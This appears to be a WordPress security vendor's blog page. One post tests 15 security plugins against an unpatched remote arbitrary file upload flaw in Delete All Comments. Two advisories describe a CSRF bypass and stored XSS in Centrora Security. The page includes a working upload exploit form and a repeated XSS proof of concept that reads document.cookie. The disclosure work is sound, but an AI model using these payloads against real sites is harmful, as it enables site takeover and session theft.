16 Dec

No WordPress Security Plugin Prevented Exploitation of Unfixed Arbitrary File Upload Vulnerability in Popular Plugin

When it comes to the chances of vulnerabilities being exploited the reality is that many types of vulnerabilities are highly unlikely to have anyone even try to exploit them. Unfortunately far too often we see security companies and the press making a big deal of vulnerabilities that are are of little to no threat, while ignoring vulnerabilities and broader security issues that are leading to websites being hacked (that lead us to providing information on likelihood that a vulnerability is to be exploited to the data for our service). When it comes to types that are likely to be exploited, the arbitrary file upload vulnerability, which allows a hacker to upload files of any kind to a website, is probably the one with the most exploit attempts and also then ends up leading to the most websites being hacked. So if a WordPress security plugin is going to protect against any type of vulnerability this seems like this is the one you would most want it to be able protect against.

Back in September we tested out security plugins against this type of vulnerability and the results were not good. Of the 12 plugins tested only 3 provided any protection. The protections 2 of them provide was easily bypassed for this particular vulnerability and the remaining plugin’s protection also meant that Editor level and below users could not upload files either.

With the vulnerability tested then the file to be uploaded was included with the upload request, which provides security plugins a relatively easy way to detect the possibility of a malicious upload occurring as they can see all files being included in the request by checking the $_FILES variable. An arbitrary file upload vulnerability can also involve getting a file from another website, which should make it harder to detect.

Just such a vulnerability was disclosed in the plugin Delete All Comments (which recently had 30,000+ active installs according to wordpress.org) by the security company NinTechNet on Saturday, which they had discovered while cleaning up a website that had been hacked due to it. The vulnerability is just the type of thing that could show the value of a security plugin as the vulnerability has not been fixed, so even if you keep your plugins up to date at all times you are still vulnerable if you are using (WordPress could step in to provide a secured version, but so far they have not). So we decided to test out security plugins to see if they are able to protect against it.

Testing Procedure

For each of the tested plugin we set up a fresh install of WordPress 4.7, installed the version 2.0 of Delete All Comments, and installed the latest version of the security plugin. We tried to enable any feature of the plugin that could possibly have an impact on stopping exploitation of the vulnerability.

We used the following HTML to launch the upload request in the exploit attempts:

<form method="POST" action="http://[path to WordPress]">
<input type="text" name="restorefromfileURL" value="[URL of file to be upload]">
<input type="text" name="restorefromfileNAME" value="test.php">
<input type="submit">
</form>

The 15 plugins we tested include the security plugins listed in the Popular plugins section of the Plugin Directory and some others that look to intended to prevent this type of situation. We added three new plugins in this round of testing: Block Bad Queries (BBQ), Centrora Security, and Total Security. Followers of our blog might recognize two of those, as we previously disclosed a pair security vulnerabilities we found Centrora Security and Total Security (yes security plugins can introduce additional security issues on your website). If you would like to see an additional plugin included in future testing please leave a comment on the post or contact us.

Results

None of the plugins tested prevented the vulnerability from being exploited.

We were surprised NinjaFirewall (WP Edition) didn’t prevent this since the developer was the one that discovered the vulnerability and they state that:

Alternatively, if your are using NinjaFirewall (WP/WP+ Edition), our WordPress WAF, you are protected against it.

One possible explanation for this discrepancy is that we sent the exploit attempt request to homepage of the website while the hack shown in their post had the request sent to /wp-content/plugins/delete-all-comments/delete-all-comments.php. When we sent the request to that URL instead it was blocked.

The full results are below:

Acunetix Secure WordPress

Result: Failed to prevent exploitation.

Acunetix WP Security

Result: Failed to prevent exploitation.

All In One WP Security & Firewall

Result: Failed to prevent exploitation.

Anti-Malware Security and Brute-Force Firewall

Result: Failed to prevent exploitation.

Block Bad Queries (BBQ)

Result: Failed to prevent exploitation.

BulletProof Security

Result: Failed to prevent exploitation.

Centrora Security

Result: Failed to prevent exploitation.

IP Geo Block

Result: Failed to prevent exploitation.

iThemes Security

Result: Failed to prevent exploitation.

NinjaFirewall (WP Edition)

Result: Failed to prevent exploitation.

Security Ninja

Result: Failed to prevent exploitation.

Shield WordPress Security

Result: Failed to prevent exploitation.

Sucuri Security

Result: Failed to prevent exploitation.

Total Security

Result: Failed to prevent exploitation.

Wordfence

Result: Failed to prevent exploitation.

Protecting Against Plugin Vulnerabilities

Seeing as the security plugins provided no protection, there are a number of other steps you can take to lessen the chances of being exploited through a vulnerability in a plugin:

  • Remove plugins that you are not planning to use anymore. Some vulnerabilities are exploitable even if the plugin is not activated, so just deactivating them will not fully protect you. In this case the vulnerability can exploited when not active if the request is sent directly to plugin’s file.
  • Keep your plugins up to date. Unless you are constantly checking for outdated plugins, your best bet is probably to enable WordPress’ ability to update them automatically. Our Automatic Plugin Updates plugin is one option for doing that.
  • Install our Plugin Vulnerabilities plugin. For vulnerabilities that it looks like a hacker is already exploiting, we include data on that in the plugin and you will get alerted to the situation even if you don’t use the service. We added this vulnerability on Monday.
  • Sign up for our service. Not only do you get alerted if there is a vulnerability in a currently installed version of a plugin, but we can also work with you to determine what is the best option for dealing with that situation. Maybe the vulnerability is something you can safely ignore or we can create a workaround to prevent exploitation until a proper fix is released. Your support of the service also help us to continue to work to get these types of vulnerabilities fixed.
  • Hire someone to do a security review done on the plugins you use. This is the most expensive option, but it also going to provide you the highest level of protection. It also will help everyone else using the same plugins. With our service you get a more limited version of this as you can suggest and vote for plugins to have basic security reviews done by us.
02 Sep

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in Centrora Security

Recently while during some quick security checks over security plugins we noticed that the protection against cross-site request forgery (CSRF) in the Centrora Security plugin was easily bypassed. To provide an example of that in action we looked at how that could be used to insert JavaScript code into a page, which would be a cross-site scripting (XSS) vulnerability. While we doing that we realized there was an additional security issue with the plugin, it fails to restrict its AJAX functions to intended user levels. Using the example from the first vulnerability that leads to authenticated persistent cross-site scripting (XSS) and it could have possibly lead to other issues as of version 6.5.6.

The plugin makes the function runAction() accessible through WordPress’s AJAX with the following code in the file /vendor/oseframework/ajax/oseAjax.php:

70
71
72
73
74
75
public static function addActions($func)
{
	if (class_exists('oseWordpress'))
	{
		add_action('wp_ajax_'.$func, 'oseAjax::runAction');
	}

That makes the function accessible to anyone logged in to WordPress, so if something is only intended for users with certain roles, you need to check for that. The runAction() function didn’t do that, but if the CSRF protection was working it would provide a similar protection in most cases since a lower level user wouldn’t have the access to the proper nonce to pass that check. The function secureCheck() run in that function should do that, but didn’t due to the issue mentioned in our other post.

33
34
35
36
37
38
39
40
public static function runAction()
{
	$centrora = oseFirewall::runApp();
	self::secureCheck();
	$requst = $centrora->runController($_REQUEST['controller'] . 'Controller', $_REQUEST['task']);
	$requst->execute();
 
}

From the request goes to the runController() function in the file /classes/Library/oseFirewallBase.php:

289
290
291
292
293
294
public static function runController ($controller, $action) {
	//global $centrora;
	$centrora = self::runApp();
	$requst = $centrora->runController($controller, $action);
	$requst->execute();
}

No check was done there either. From the request goes to the execute() function in the file /vendor/phpixie/core/classes/PHPixie/Request.php:

184
185
186
187
188
189
190
191
192
193
194
195
196
197
public function execute()
{
	$this->pixie->cookie->set_cookie_data($this->_cookie);
	$class = $this->param('namespace',$this->pixie->app_namespace).'Controller\\'.ucfirst($this->param('controller'));
	$controller = $this->pixie->controller($class);
	$controller->request = $this;
	if (isset($_REQUEST['action'])) {
		$controller->run($_REQUEST['action']);
		return $controller->response;
	} else {
		$controller->run($this->param('action'));
		return $controller->response;
	}
}

No check was done there either. From the request goes to the run() function in the file /vendor/phpixie/core/classes/PHPixie/Controller.php:

96
97
98
99
100
101
102
103
104
105
106
107
108
public function run($action)
{
	$action = 'action_'.$action;
	if (!method_exists($this, $action))
		throw new \PHPixie\Exception\PageNotFound("Method {$action} doesn't exist in ".get_class($this));
 
	$this->execute = true;
	$this->before();
	if ($this->execute)
		$this->$action();
	if ($this->execute)
		$this->after();
}

From there the action specified in the request is run, going back to example from the previous post the action run is addips, which is handle through the function action_Addips() in the file /classes/App/Controller/ManageipsController.php. Once again no check if the user should have access was done and the saving of the “title” input happens without any sanitization (as detailed in the other post):

59
60
61
62
63
64
65
public function action_Addips() {
	$this->model->loadRequest();
	$ipmanager = $this->model->getFirewallIpManager ();
	$ip_start = $this->model->getVar('ip_start', null); 
	$ip_type =  $this->model->getVar('ip_type', null);
	$ip_status = $this->model->getInt('ip_status', 1);
	$title =  $this->model->getVar('title', 'Backend Added IP');

The “title” value is returned on the page/wp-admin/admin.php?page=ose_fw_manageips through an AJAX request through the function action_GetACLIPMap() in the file /classes/App/Controller/ManageipsController.php that doesn’t escape it either.

On the day we contacted the developer about the issue they fixed the lack of user level checking with the release of version 6.5.7 of the plugin, and then fixed the lack of sanitization with the release of 6.5.9 two days later.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=ose_fw_manageips, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="addips" />
<input type="hidden" name="task" value="addips" />
<input type="hidden" name="option" value="com_ose_firewall" />
<input type="hidden" name="controller" value="manageips" />
<input type="hidden" name="title" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="ip_type" value="ip" />
<input type="hidden" name="ip_start" value="1.1.1.1" />
<input type="hidden" name="ip_end" value="" />
<input type="hidden" name="ip_status" value="1" />
<input type="hidden" name="centnounceForm" value="false" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 8/30/2016 – Developer notified.
  • 8/30/2016 – Version 6.5.7 released, which fixes the issue.
02 Sep

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Centrora Security

When it comes to writing secure code one good piece of advice is to use the security functions provided in the environment you are using instead of making your own. The developers of Centrora Security decided not to do that in the cross-site request forgery (CSRF) protection for AJAX requests in the plugin and in their custom code they made a mistake that nullified the protection as of version 6.5.6.

According the plugin’s description it is able to help identify security vulnerabilities, but it would seem not this one:

The built-in Malware and Security Scanner can also help you identify any security risks, malicious codes, spam, virus, SQL injection and security vulnerabilities existing in your online system.

AJAX requests are sent to the runAction() function in the class oseAjax, located in the file /vendor/oseframework/ajax/oseAjax.php :

33
34
35
36
37
38
39
40
public static function runAction()
{
	$centrora = oseFirewall::runApp();
	self::secureCheck();
	$requst = $centrora->runController($_REQUEST['controller'] . 'Controller', $_REQUEST['task']);
	$requst->execute();
 
}

The CSRF protection occurs in the secureCheck() function called in that, but in version 6.5.6 there was a problem with the function’s code:

41
42
43
44
45
46
47
48
49
50
51
52
53
54
private static function secureCheck()
{
	if (!empty($_REQUEST['centnounceForm'])) {
		$centnounce = (isset($_REQUEST['centnounceForm'])) ? $_REQUEST['centnounceForm'] : '';
	}
	else {
		$centnounce = (isset($_REQUEST['centnounce'])) ? $_REQUEST['centnounce'] : '';
 
		if (!self::verifyNounce($centnounce))
		{
			die('Sorry, our software is CSRF proof.');
		}
	}
}

If the request includes a GET or POST input named “centnounceForm” then the value of that was set to the variable $centnounce and the function stops running without checking if a valid nonce is included by running it through the function verifyNounce().

Also worth noting is that the code appears to be used with a Joomla version of the software as well, but when used in the Joomla version the nonce is never checked by verifyNounce(), instead it is always returns true:

55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
private static function verifyNounce($centnounce)
{
	if (OSE_CMS == 'joomla')
	{
		return true;
	}
	else
	{
		if (isset($_SESSION['centnounce']) && $_SESSION['centnounce'] == $centnounce) {
			return true;
		} else {
			return false;
		}
	}
}

A cross-site request forgery (CSRF) vulnerability’s severity depends on what it would possible actions you could cause someone to take without them intending. In this case one possibility is to use it to cause persistent cross-site scripting (XSS) due to lack of sanitization or escaping for items on the  IP Control page, /wp-admin/admin.php?page=ose_fw_manageips, of the plugin.

The lack of sanitization occurred for the “title” input in the function action_Addips() in the file /classes/App/Controller/ManageipsController.php:

59
60
61
62
63
64
65
public function action_Addips() {
	$this->model->loadRequest();
	$ipmanager = $this->model->getFirewallIpManager ();
	$ip_start = $this->model->getVar('ip_start', null); 
	$ip_type =  $this->model->getVar('ip_type', null);
	$ip_status = $this->model->getInt('ip_status', 1);
	$title =  $this->model->getVar('title', 'Backend Added IP');

The getVar function, which didn’t sanitize it,  can be found in the file /vendor/oseframework/request/oseRequest.php.

The value is returned through an AJAX request through the function action_GetACLIPMap() in the file /classes/App/Controller/ManageipsController.php that didsn’t escape it.

On the day we contacted the developer about the issue they fixed the broken cross-site request forgery (CSRF) protection with the release of version 6.5.7 of the plugin, and then fixed the lack of sanitization with the release of 6.5.9 two days later.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=ose_fw_manageips.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="addips" />
<input type="hidden" name="task" value="addips" />
<input type="hidden" name="option" value="com_ose_firewall" />
<input type="hidden" name="controller" value="manageips" />
<input type="hidden" name="title" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="ip_type" value="ip" />
<input type="hidden" name="ip_start" value="1.1.1.1" />
<input type="hidden" name="ip_end" value="" />
<input type="hidden" name="ip_status" value="1" />
<input type="hidden" name="centnounceForm" value="false" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 8/30/2016 – Developer notified.
  • 8/30/2016 – Version 6.5.7 released, which fixes the issue.